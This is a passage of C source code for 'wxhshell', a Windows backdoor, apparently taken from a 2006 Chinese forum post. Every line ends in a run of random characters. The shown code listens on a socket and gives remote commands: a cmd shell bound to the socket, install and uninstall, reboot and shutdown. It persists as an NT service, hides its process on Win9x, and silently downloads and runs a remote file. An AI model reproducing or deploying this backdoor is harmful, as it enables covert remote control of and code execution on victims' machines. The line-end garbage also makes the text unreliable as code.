  // 帮助 "zN]gz=OV>  
  case '?': { )IZ~!N|-w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vM2\tL@"  
    break; 610hw376B  
  } oNBYJ]t  
  // 安装 g/m%A2M&aH  
  case 'i': { ( j~trpe,  
    if(Install()) ]6EXaf#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4kQL\Ld#E%  
    else dDla?)F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w~=@+U$f  
    break; t2vo;,^euL  
    } Ic&Jhw;]z  
  // 卸载 #-u?+Nk/  
  case 'r': { S#, E)h/  
    if(Uninstall()) f<G:}I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )haHI)xR  
    else *G0r4Ui$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -* ;`~5  
    break; #$9rH 2zd  
    } o*WI*Fb'  
  // 显示 wxhshell 所在路径 a"0'cgB}  
  case 'p': { z"lRfOWI  
    char svExeFile[MAX_PATH]; 1~P ^ g`  
    strcpy(svExeFile,"\n\r"); (1b%);L7  
      strcat(svExeFile,ExeFile); R?[KK<sWWe  
        send(wsh,svExeFile,strlen(svExeFile),0); c{t(),nAA  
    break; (T0%H<#+  
    } K|LS VN?K  
  // 重启 .%EEly  
  case 'b': { +Udlt)H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L`{EXn[  
    if(Boot(REBOOT)) &O.S ;b*+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v><uHjP  
    else { U0W- X9>y  
    closesocket(wsh); *QpKeI  
    ExitThread(0); I|?Z.!I|  
    } 675x/0}GO  
    break; Fu cLcq2Z  
    } Ju7nvxC  
  // 关机 ?#917M  
  case 'd': { ;1 02ddRV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (P N!k0Y  
    if(Boot(SHUTDOWN)) `Z0#IeX=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,HdFE|  
    else { <C_FI` wk  
    closesocket(wsh); #wZ:E,R  
    ExitThread(0); K) "cwk-  
    } eqze7EY  
    break; \WVrn>%xu  
    } 3 # ua  
  // 获取shell (_ElM>  
  case 's': { fw1g;;E  
    CmdShell(wsh); )d6Ya1vJH  
    closesocket(wsh); PDcZno?  
    ExitThread(0); 6 4da~SEn  
    break; Y@Kp'+t(!  
  } m ,U`hPJ  
  // 退出 @"#W\m8  
  case 'x': { 6"W~%FSJX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 43Yav+G(+  
    CloseIt(wsh); 'L2M  W  
    break; }$ Am;%?p  
    } 6Hn3  
  // 离开 !%?X% @9  
  case 'q': { WeTsva+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #`mo5  
    closesocket(wsh); p|M  8ww  
    WSACleanup(); ?Q]{d'g(sx  
    exit(1); D`lTP(] y  
    break; *_z5Pa`A  
        } NVMhbpX6  
  } h*Y);mc$#  
  } TK;*:K8oe  
T }X#I'Z  
  // 提示信息 +M6qbIO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8eSIY17  
} )-2o}KU]>  
  } E VBB:*q6  
+]Y&las  
  return; :hG?} [-2  
} $3sS&i<  
!0~$u3[b  
// shell模块句柄 +?~'K&@  
int CmdShell(SOCKET sock) u4=j!Zb8}  
{ |wZ8O}O{E  
STARTUPINFO si; z1ltc{~Z  
ZeroMemory(&si,sizeof(si)); }06  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PQsqi;=)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #s1O(rLRl  
PROCESS_INFORMATION ProcessInfo; vvLm9Tw  
char cmdline[]="cmd"; "| <\\HR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _gB`;zo  
  return 0; lu(<(t,Lbs  
} EW{z?/  
+xwz.:::  
// 自身启动模式 p IXBJk  
int StartFromService(void) 5yO6szg  
{ 6v0^'}  
typedef struct OZ1+`4 v  
{ O edL?4  
  DWORD ExitStatus; s!09Pxc  
  DWORD PebBaseAddress; pAYH"Q6~)I  
  DWORD AffinityMask; dvk? A$  
  DWORD BasePriority; 4?X#d)L(  
  ULONG UniqueProcessId; . oUaq|O  
  ULONG InheritedFromUniqueProcessId; ZN|DR|c UY  
}   PROCESS_BASIC_INFORMATION; 2i4FIS|z0  
@M?N[LG  
PROCNTQSIP NtQueryInformationProcess; A:1O:LB=!  
ky#d`   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nv(Pwb3B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N G1]!Vz5  
dfe 9)m>  
  HANDLE             hProcess; AU}P`fT!  
  PROCESS_BASIC_INFORMATION pbi; Ay!=Yk ^~  
d+%1q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Uq&ne 1  
  if(NULL == hInst ) return 0; @YP\!#"8  
f8)D|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \@Gyl_6^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UHz*Tfjb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); . x~tEe  
E) >~0jv  
  if (!NtQueryInformationProcess) return 0; +}X?+Epm  
r+0"1\f3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l'VgS:NT  
  if(!hProcess) return 0; ]6</{b  
V{fYMgv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BUv;BzyV  
3Qe:d_  
  CloseHandle(hProcess); >/EmC3?b!  
_h7+.U=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *"0Yr`)S  
if(hProcess==NULL) return 0; {!xPq%  
'!Vn  
HMODULE hMod; __$IbF5  
char procName[255]; =A<kDxqH  
unsigned long cbNeeded; &TSt/b/+W  
-[v:1\Vv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O1coay  
 "=H7p3  
  CloseHandle(hProcess); #;a 1=8H  
UKQ ,]VC  
if(strstr(procName,"services")) return 1; // 以服务启动 f!*b8ND^R  
5SK{^hw  
  return 0; // 注册表启动 ?};}#%971  
} }+QgRGQ  
/]T#@>('  
// 主模块 Xcicqywe?  
int StartWxhshell(LPSTR lpCmdLine) X_|8CD-@6  
{ P@p(Y2&~g  
  SOCKET wsl; C+,;hj  
BOOL val=TRUE; *4r 1g+0  
  int port=0; \rcbt6H  
  struct sockaddr_in door; 6J6MR<5'  
?)7uwJsH  
  if(wscfg.ws_autoins) Install(); :HRJ49a  
XY1NTo. =  
port=atoi(lpCmdLine); ${KDGJ,^  
*(s+u~, I  
if(port<=0) port=wscfg.ws_port; Q<d\K(<3?:  
T%KZV/  
  WSADATA data; %]>c4"H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T^aEx.`O}`  
+XJj:%yt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u=jF\W9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CY0|.x  
  door.sin_family = AF_INET; $B*Ek>EK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RqXcL,,9  
  door.sin_port = htons(port); 1a| q&L`o  
[sTr#9Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #,qw~l]  
closesocket(wsl); WDSkk"#TF  
return 1; wQ*vcbQX*  
} ?@(_GrE-  
[E2afC>zrl  
  if(listen(wsl,2) == INVALID_SOCKET) { 23qTmh  
closesocket(wsl); HW"|Hm$Y(  
return 1; )}=`Gx5+  
} A<r@,*(g  
  Wxhshell(wsl); AR]y p{NS  
  WSACleanup(); II)\rVP5  
PLKp<kg  
return 0; IBf&'/ 8\  
rv&(yA  
} S$+vRX7  
,4jkTQ*@2  
// 以NT服务方式启动 wZh&w<l'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @xm O\  
{ ['sj'3cW-  
DWORD   status = 0; qWHH% L;  
  DWORD   specificError = 0xfffffff; /0d_{Y+9  
vO%n~l=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p8oOm>B96n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x$J1%K*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2+TCFpv  
  serviceStatus.dwWin32ExitCode     = 0; *.r i8  
  serviceStatus.dwServiceSpecificExitCode = 0; X7?p$!M6;B  
  serviceStatus.dwCheckPoint       = 0; 9loWh5_1Z  
  serviceStatus.dwWaitHint       = 0; |zKe*H/  
4Ucg<Z&%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g6IG>)  
  if (hServiceStatusHandle==0) return; '49&qO5B  
7qA0bUee5  
status = GetLastError(); cTHSPr?<  
  if (status!=NO_ERROR) xpx=t71Hq  
{ Tw)nFr8oF]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Ff3H$_*  
    serviceStatus.dwCheckPoint       = 0; KIC5U50J  
    serviceStatus.dwWaitHint       = 0; ~_QZiuq&  
    serviceStatus.dwWin32ExitCode     = status; X_ne#ZPl  
    serviceStatus.dwServiceSpecificExitCode = specificError; 36*"oD=@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8t!(!<iF0  
    return; #gMMh B=  
  } #Bg88!-4  
CuR\JKdRo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]IoJ(4f  
  serviceStatus.dwCheckPoint       = 0; '+?AaR&p?  
  serviceStatus.dwWaitHint       = 0; ?!U=S=8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }BKEz[G(  
} 2S&e!d-  
m beM/  
// 处理NT服务事件,比如:启动、停止 4{(uw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X,IjM&o"Y  
{ sHyhR:  
switch(fdwControl) ^rfY9qMJr8  
{ [!]a' T#x  
case SERVICE_CONTROL_STOP: L$cNxz0$  
  serviceStatus.dwWin32ExitCode = 0; #M$[C d I$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jor >YB`X  
  serviceStatus.dwCheckPoint   = 0; -ZlBg~E  
  serviceStatus.dwWaitHint     = 0; zIi|z}WJ  
  { TUIj-HSe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bTHKMaGWC  
  } c$rkbbf~V  
  return; 0Jm6 r4s?  
case SERVICE_CONTROL_PAUSE: KiT>W~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,a eQXI#@  
  break; 8;ke,x  
case SERVICE_CONTROL_CONTINUE: S(.AE@U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  iE=Yh  
  break; &M,a+|yuY  
case SERVICE_CONTROL_INTERROGATE: l9lBhltOH  
  break; 1"?KQU  
}; x9Fga_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g34<0%6jd  
} K]Q#B|_T  
PEac0rSW  
// 标准应用程序主函数 ];Z)=y,vM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <gF=$u|}3[  
{ P9p:x6  
SUINV_>7  
// 获取操作系统版本 _G|hKk^,  
OsIsNt=GetOsVer(); K 4QJDC8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HYyO/U9z|I  
p~6/+ap  
  // 从命令行安装 "+/%s#&  
  if(strpbrk(lpCmdLine,"iI")) Install(); I 8vv  
MP(R2y  
  // 下载执行文件 btHN  
if(wscfg.ws_downexe) { seC]=UJh#>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eqU2>bI f  
  WinExec(wscfg.ws_filenam,SW_HIDE); VR ^qwS/  
} f.JZ[+  
mE'y$5ZxY  
if(!OsIsNt) { 0?KXQD  
// 如果时win9x,隐藏进程并且设置为注册表启动 -G e5gQ=  
HideProc(); rZ2X$FO@  
StartWxhshell(lpCmdLine); b6:A-jb*I  
} PElC0 qCn[  
else <cNXe4(  
  if(StartFromService()) WSi`)@.X O  
  // 以服务方式启动 J( JsfU4  
  StartServiceCtrlDispatcher(DispatchTable); G3'>KMa.  
else ?YWfoH4mS  
  // 普通方式启动 , (dg]7  
  StartWxhshell(lpCmdLine); bO 2>ced  
GmP)"@O](;  
return 0; :i_818h!?[  
}
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只看该作者 1 发表于: 2006-10-10
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